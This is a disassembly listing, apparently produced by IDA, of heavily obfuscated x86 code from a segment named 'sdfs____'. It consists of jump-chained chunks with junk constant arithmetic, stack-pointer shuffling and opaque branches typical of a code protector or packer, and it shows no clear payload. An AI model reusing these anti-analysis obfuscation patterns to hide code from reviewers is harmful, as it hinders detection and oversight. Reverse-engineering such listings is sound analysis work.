; FUNCTION CHUNK AT 00590745 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005907F6 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00590846 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00590862 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005908AB SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059093A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005909D1 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00590CA1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00590EB5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059104F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00591081 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00591122 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005911D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591218 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00591597 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005915F9 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00591754 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00591814 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00591879 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591914 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00591AE7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00591C72 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591CBD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591F0F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00591F1D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591F72 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00592033 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00592313 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00592A4B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00592A77 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592AFB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00592C19 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592FBB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005930A1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005930CF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005933EE SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059349D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00593666 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00593751 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005937E5 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059399B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593A28 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593A38 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00593BE0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593CFF SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00593E37 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00593FD4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005940E2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059431A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005943B3 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00594A9D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594B91 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00594CF0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594E61 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00594ED9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005951A5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00595255 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595318 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059563D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059579E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005959FB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00595A57 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00595B55 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00595C16 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595C37 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00595CFD SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00595E4F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595F46 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059611E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005961B0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00596214 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596299 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596336 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005965D2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596678 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596AE9 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00596C6B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596DB9 SIZE 0000005B BYTES
; FUNCTION CHUNK AT 00597162 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005972D9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005976ED SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00597747 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059782A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597885 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597959 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 005979D5 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00597A49 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597B3C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00597C7D SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00597E8D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00597FD5 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059805C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005982C4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059857A SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059875C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00598957 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598B40 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00598BAB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598C05 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 00598C7D SIZE 00000036 BYTES

		push	ebx
		sub	[esp-0Eh+arg_A], 37F34C06h
		mov	eax, [esp-0Eh+arg_A]
		push	790Ah
		mov	[esp-0Ah+arg_6], ebp
		push	esp
		jmp	loc_591C72
sub_594228	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_594241:				; CODE XREF: sdfs____:00595CB7j
		or	esi, 730707C4h
		not	esi
		sub	esi, 0F6E0DEBAh
		jmp	loc_5951E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_594254:				; CODE XREF: sub_591370-2F4Bj
		dec	bh
		jnp	loc_596F40
		add	bh, 0DEh
		mov	ch, bh
		pop	ebx
		not	ch
		jmp	loc_58E58A
; ---------------------------------------------------------------------------


loc_594269:				; CODE XREF: sub_591370-24EBj
					; sub_595F04+6j
		mov	[esp-14h+arg_10], ebx
		mov	bh, 91h
		inc	bh
		jnp	loc_58C3B0
		shl	bh, 4
		js	loc_590DE8
		push	edx
		mov	dl, 0FAh
		pop	ebp


loc_594283:				; CODE XREF: sdfs____:00590E48j
		sub	edx, 0DE272A1Dh
		mov	eax, edx
		jmp	loc_595953
; ---------------------------------------------------------------------------


loc_594290:				; CODE XREF: sub_591370+6AFDj
		sub	edi, 1F566B0Fh
		jmp	loc_5906D3
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_59429B:				; CODE XREF: sdfs____:0058F9B6j
		push	eax
		push	edx
		push	2270h
		mov	[esp], ebp
		jmp	loc_59332B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_5942AA:				; CODE XREF: sub_59841F:loc_597835j
		shr	edi, 3
		js	loc_592D87
		dec	edi
		jmp	loc_58D4E1
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_5942B9:				; CODE XREF: sub_596736-22ADj
		mov	esp, [esp+0]
		jmp	loc_58EA11
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------


loc_5942C1:				; CODE XREF: sdfs____:00596AD2j
		and	bl, 93h
		add	bl, 0F3h
		add	bl, 25h
		or	ch, bl
		pop	ebx
		jmp	loc_58C002
; ---------------------------------------------------------------------------


loc_5942D2:				; CODE XREF: sdfs____:0058CB09j
		pop	dx
		mov	bx, [esp]
		push	10E5h
		mov	[esp], eax
		jmp	loc_592E65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_5942E5:				; CODE XREF: sub_59377D+Fj
		shr	ecx, 2
		jmp	loc_595001
; END OF FUNCTION CHUNK	FOR sub_59377D
; ---------------------------------------------------------------------------


loc_5942ED:				; CODE XREF: sdfs____:005905E1j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	3B4Ch
		jmp	loc_5907A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_59431A:				; CODE XREF: sub_594228-6194j
		push	edx
		mov	edx, 55D2128Ch
		xor	edi, edx
		pop	edx
		push	ebp
		mov	ebp, 14050C53h
		or	edi, ebp
		pop	ebp
		push	edx
		mov	edx, 17F5FF77h
		sub	edi, edx
		pop	edx
		jmp	loc_5965D2
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_59433A:				; CODE XREF: sdfs____:0058DA0Fj
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_596B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_59434E:				; CODE XREF: sub_58BAD7+72ABj
		add	ebp, 7C964FF2h
		push	3A2h
		mov	[esp+0], ecx
		push	ebp
		jmp	loc_594AA6
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------


loc_594362:				; CODE XREF: sdfs____:0058E72Dj
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_59436B:				; CODE XREF: sdfs____:0058E30Cj
		neg	ebx
		jmp	loc_59259F
; ---------------------------------------------------------------------------


loc_594372:				; CODE XREF: sdfs____:00595F21j
		and	[edi+1Ch], edx
		mov	edx, [esp]
		push	eax
		jmp	loc_591218
; ---------------------------------------------------------------------------
		xor	[esp], bx
		xor	bx, [esp]
		xor	[esp], bx
		xchg	cx, bx
		push	cx
		push	small 793Ah
		mov	[esp], si
		push	small word ptr [esp+2]
		pop	si
		jmp	loc_5974A2
; ---------------------------------------------------------------------------


loc_5943A3:				; CODE XREF: sdfs____:005955C5j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_590763
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5943B3:				; CODE XREF: sub_594228-3368j
					; sdfs____:005918A2j
		xchg	ebx, edx
		pop	ebx
		add	edx, 232017DCh
		sub	eax, 426248F5h
		add	eax, edx
		add	eax, 426248F5h
		mov	edx, [esp+16h+var_18+2]
		add	esp, 4
		push	esi
		mov	esi, 2
		jmp	loc_598C05
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_5943DC:				; CODE XREF: sub_5987BC:loc_592D9Ej
		neg	edi
		sub	edi, 47F529CFh
		ja	loc_58C744
		sub	edi, 1F1084D7h
		add	ebp, edi
		mov	edi, [esp-8+arg_4]
		mov	edi, edx
; END OF FUNCTION CHUNK	FOR sub_5987BC
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_5943F7:				; CODE XREF: sub_5985AE-B48Cj
		mov	edi, ebx
		pop	ebx
		sub	[esp+arg_0], 11ED3859h
		sub	[esp+arg_0], edi
		add	[esp+arg_0], 11ED3859h
		pop	edi
		pop	eax
		jmp	loc_58F1B5
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_594415:				; CODE XREF: sdfs____:00596938j
		xor	bh, dh
		pop	edx
		push	edx
		jmp	loc_59618A
; ---------------------------------------------------------------------------


loc_59441E:				; CODE XREF: sdfs____:00598D53j
		sub	eax, ebx
		pop	ebx
		jmp	loc_58C5BF
; ---------------------------------------------------------------------------


loc_594426:				; CODE XREF: sdfs____:00590E6Bj
		pop	edx
		push	edx
		mov	edx, 6F453649h
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 64AE14FBh
		inc	ebp
		and	ebp, 7A7D5FD8h
		shl	ebp, 8
		sub	ebp, 0E4B495EBh
		or	ebx, ebp
		pop	ebp
		inc	ebx
		jz	loc_591BE6
		jmp	loc_5966AB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	18E9h
		jmp	loc_591DE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_59447C:				; CODE XREF: sub_596736+C8Dj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		jmp	loc_5942B9
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59448E:				; CODE XREF: sub_591435-3854j
		sub	edi, 57012499h
		add	edi, edx
		add	edi, 57012499h
		pop	edx
		xor	edi, [esp+10h+var_10]
		jmp	loc_595B82
; ---------------------------------------------------------------------------


loc_5944A5:				; CODE XREF: sub_591435:loc_593C79j
		sub	ebp, 0B0AFE564h
		dec	ebp
		jmp	loc_58BF95
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5944B1:				; CODE XREF: sdfs____:00597C4Ej
		jmp	loc_597105
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5944B6:				; CODE XREF: sub_5917C0+558Ej
					; sub_58FE99+7D16j
		push	esi
		push	69BF0B9Ch
		mov	esi, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_590819
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5944CB:				; CODE XREF: sub_591370+6477j
		shr	edx, 6
		xor	edx, 45FA45ACh
		sub	ebp, edx
		pop	edx
		add	ebp, edi
		add	ebp, 45BA74E8h
		jmp	loc_596320
; ---------------------------------------------------------------------------


loc_5944E4:				; CODE XREF: sub_591370+24F0j
		add	edi, ecx
		add	edi, 43AA07F0h
		jmp	sub_591A46
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5944F1:				; CODE XREF: sub_5917C0+3F30j
		neg	edi
		inc	edi
		xor	edi, 0ABA99A3Ch
		sub	ecx, edi
		jmp	loc_5955D9
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_594501:				; CODE XREF: sub_591370+3BF2j
		add	[esp+4], edi
		pop	edi
		jmp	loc_59872D
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59450B:				; CODE XREF: sub_591435+2DCCj
		mov	ecx, eax
		pop	eax
		jmp	loc_58F1CF
; ---------------------------------------------------------------------------


loc_594513:				; CODE XREF: sub_591435-439Cj
		add	esp, 4
		push	ebp
		mov	ebp, 54856DEEh
		xor	esi, ebp
		pop	ebp
		and	eax, esi
		pop	esi
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_5988E7
; ---------------------------------------------------------------------------


loc_594530:				; CODE XREF: sub_591435-31EDj
		xor	eax, 1FA027F4h
		add	eax, 1
		not	eax
		jmp	loc_58BA4D
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_59453F:				; CODE XREF: sdfs____:0058FB53j
		pop	ebx
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		push	5252h
		mov	[esp], ecx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_594562:				; CODE XREF: sdfs____:00594B87j
		mov	dl, 0C5h
		jmp	loc_597525
; ---------------------------------------------------------------------------


loc_594569:				; CODE XREF: sdfs____:005920B8j
		pop	esp
		jmp	loc_59564E
; ---------------------------------------------------------------------------


loc_59456F:				; CODE XREF: sdfs____:00590E7Cj
		mov	eax, 0A985C1Fh
		push	ecx
		mov	ecx, 23AE11C6h
		jmp	loc_58F9D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_59457F:				; CODE XREF: sub_5917C0+5EEBj
		shr	cl, 6
		push	3AD0h
		mov	[esp+0], eax
		mov	al, 1Ah
		xor	cl, al
		jmp	loc_591CC4
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_594593:				; CODE XREF: sub_591435+5A31j
		push	[esp+0Ch+var_C]
		mov	ebx, [esp+10h+var_10]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_5984E5
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_58F997
; ---------------------------------------------------------------------------


loc_5945B3:				; CODE XREF: sdfs____:00597461j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_597742
; ---------------------------------------------------------------------------


loc_5945C5:				; CODE XREF: sdfs____:005947A8j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5945CA:				; CODE XREF: sdfs____:00593B11j
		mov	edx, 917DC7DBh
		sub	ecx, edx
		jmp	loc_598039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_5945D6:				; CODE XREF: sub_5962EB-5309j
		sub	edi, 435F3EA3h
		sub	esi, edi
		pop	edi
		jmp	loc_58EA96
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_5945E4:				; CODE XREF: sdfs____:0058D5B4j
		mov	edi, 6E7F2BF9h
		jmp	loc_591536
; ---------------------------------------------------------------------------


loc_5945EE:				; CODE XREF: sdfs____:0058C0EDj
		or	edi, 4E5C463Eh
		and	edi, 3167CEFh
		dec	edi
		sub	edi, 68010E42h
		xor	edi, 875F0BE9h
		and	ecx, edi
		pop	edi
		add	ecx, 9970A3Fh
		or	ecx, 4C7E5A9Eh
		and	ecx, 70D41F91h
		shr	ecx, 6
		xor	ecx, 0A0842B84h
		sub	edi, ecx
		jmp	loc_58FCA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE3C


loc_59462C:				; CODE XREF: sub_58FE3C+1j
		mov	ebx, 2
		add	ecx, 265A24B6h
		add	ecx, ebx
		sub	ecx, 265A24B6h
		pop	ebx
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		pop	esp
		jmp	loc_5987E6
; END OF FUNCTION CHUNK	FOR sub_58FE3C
; ---------------------------------------------------------------------------


loc_59464F:				; CODE XREF: sdfs____:0058FB87j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_594669:				; CODE XREF: sdfs____:00597E62j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_59467D:				; CODE XREF: sub_5917C0-56A5j
		add	edx, 4
		push	eax
		mov	eax, 6D4B0016h
		not	eax
		sub	eax, 400E5C30h
		sub	eax, 52A6A3B5h
		add	edx, eax
		pop	eax
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_59513A
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_5946A1:				; CODE XREF: sdfs____:00595093j
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_591060
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_5946AD:				; CODE XREF: sub_594F18-929Dj
		xor	ebp, 84132Ch
		push	esi
		mov	esi, 357267D4h
		and	ebp, esi
		jmp	loc_593F88
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------
		lodsb
		push	small 7C3Dh
		mov	[esp], bx
		jmp	loc_591EEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5946CE:				; CODE XREF: sub_5917C0+6F97j
		sub	bl, 4Dh
		add	bl, 0EBh
		add	bl, 18h
		jmp	loc_58D935
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_5946DC:				; CODE XREF: sdfs____:005957AFj
		pop	small word ptr [eax]
		jmp	loc_5968B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_5946E4:				; CODE XREF: sub_5962EB:loc_58E0E3j
					; sdfs____:0058E2FEj
		mov	dh, 0Dh
		sub	al, 0A6h
		sub	al, dh
		add	al, 0A6h
		jmp	loc_597C12
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_5946F1:				; CODE XREF: sdfs____:00593561j
		mov	ecx, 6B946467h
		and	ecx, 57BE1C92h
		jmp	loc_593924
; ---------------------------------------------------------------------------


loc_594701:				; CODE XREF: sdfs____:0059536Cj
					; sdfs____:005983A8j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_594706:				; CODE XREF: sdfs____:0058DAB2j
		pop	esp
		inc	dword ptr [esp]
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_594710:				; CODE XREF: sub_5941BD-7414j
					; sub_591435+548Aj
		pop	ecx
		add	esp, 4
		push	ebx
		push	edx
		push	1Ch
		pop	edx
		mov	ebx, edx
		pop	edx
		push	edi
		mov	edi, 38351DE3h
		sub	edi, 0F9A7D156h
		add	ebx, edi
		pop	edi
		add	ebx, edi
		push	266Fh
		mov	[esp+0Ah+var_C+2], edx
		mov	edx, 7E477E5Ah
		push	edi
		mov	edi, 3FBA31CDh
		jmp	loc_58E4B9
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_594748:				; CODE XREF: sub_5941BD+6j
		add	ebp, 4FF2262Dh
		sub	ebp, edi
		sub	ebp, 4FF2262Dh
		xchg	ebp, edi
		jmp	loc_598413
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_59475D:				; CODE XREF: sdfs____:0058D269j
		mov	ebx, 7DA2197h
		jmp	loc_597A32

; =============== S U B	R O U T	I N E =======================================



sub_594767	proc near		; CODE XREF: sub_58EB48+1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058BB40 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00592193 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00598534 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 30716AF9h
		push	ebx
		push	4D403E5Eh
		push	[esp+0Ch+var_C]
		jmp	loc_598534
sub_594767	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_594780:				; CODE XREF: sub_591370+3ACCj
		add	eax, 3F6D395Bh
		xor	ebx, eax
		pop	eax
		xor	eax, ebx
		jmp	loc_5975A3
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_59478F:				; CODE XREF: sdfs____:005917A8j
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		xor	[esp], al
		pushf
		jmp	loc_5945C5
; ---------------------------------------------------------------------------


loc_5947AD:				; CODE XREF: sdfs____:loc_58C420j
		shr	ecx, 4
		jmp	loc_5953A9
; ---------------------------------------------------------------------------


loc_5947B5:				; CODE XREF: sdfs____:0059773Dj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_597DC9
; ---------------------------------------------------------------------------


loc_5947C3:				; CODE XREF: sdfs____:0059713Cj
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 49C05ACBh
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 54804244h
		sub	eax, 6EC72A4Eh
		jmp	loc_58BC5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59666E


loc_5947EC:				; CODE XREF: sub_59666E-9289j
		add	esp, 4
		add	esp, 4
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], cx
		movzx	cx, al
		jmp	loc_58BC09
; END OF FUNCTION CHUNK	FOR sub_59666E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_594808:				; CODE XREF: sub_59587A-7606j
		mov	ebp, [esp+0]
		sub	esp, 4
		jmp	loc_5929CF
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_594816:				; CODE XREF: sdfs____:0058F99Dj
		xor	[esp+4], edx
		mov	edx, [esp]
		push	75A9h
		jmp	loc_598D80
; ---------------------------------------------------------------------------


loc_594827:				; CODE XREF: sdfs____:00591EF2j
		pop	bx
		add	al, 17h
		add	al, 49h
		sub	al, bl
		sub	al, 49h
		push	ecx
		push	ebx
		mov	bl, 17h
		mov	ch, bl
		pop	ebx
		sub	al, 19h
		add	al, 34h
		sub	al, ch
		sub	al, 34h
		push	edx
		jmp	loc_592E27
; ---------------------------------------------------------------------------


loc_594846:				; CODE XREF: sdfs____:00591C6Dj
		push	esi
		push	eax
		mov	eax, 615551FFh
		add	eax, 0B88DFF07h
		mov	esi, eax
		pop	eax
		mov	ebp, esi
		pop	esi
		push	ebp
		xor	dword ptr [esp], 6888792Eh
		pop	esi
		push	ecx
		jmp	loc_594D7A
; ---------------------------------------------------------------------------


loc_594867:				; CODE XREF: sdfs____:00591FC6j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_58CB83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_594876:				; CODE XREF: sub_591370-CB2j
		add	al, 0E5h
		add	al, cl
		push	ecx
		mov	ch, 0A9h
		or	ch, 3Fh
		xor	ch, 5Ah
		sub	al, ch
		pop	ecx
		jmp	loc_58F6F5
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_59488B:				; CODE XREF: sdfs____:0058EFC4j
		sub	dword ptr [esp+4], 3E30187Dh
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 3E30187Dh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_594F71
; ---------------------------------------------------------------------------


loc_5948AB:				; CODE XREF: sdfs____:0058CB7Ej
		neg	ecx
		push	ebp
		jmp	loc_598999
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_5948B3:				; CODE XREF: sub_594F18-69FDj
		sub	[esp+8+var_8], 48161FCh
		jmp	loc_59087F
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------


loc_5948BF:				; CODE XREF: sdfs____:loc_596AB6j
		inc	eax
		jge	loc_596C98
		sub	eax, 546F2820h
		js	loc_596B45
		mov	eax, ebp


loc_5948D3:				; CODE XREF: sdfs____:0058EF44j
		mov	[esp], esi
		jmp	loc_598454
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_5948DB:				; CODE XREF: sub_5BB696-2E05Fj
		not	ecx
		neg	ecx
		jnz	loc_58C873
		xor	ecx, 4A1C71DDh
		mov	edx, ecx
		pop	ecx
		sub	al, 37h
		push	esp


loc_5948F1:				; CODE XREF: sdfs____:loc_58C781j
		add	ch, 0E9h
		dec	ch
		jmp	sub_58E01A
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5948FB:				; CODE XREF: sub_5917C0+14CAj
		add	eax, 4
		sub	eax, 2
		push	eax
		push	[esp-10h+arg_10]
		pop	eax
		jmp	loc_5909FF
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


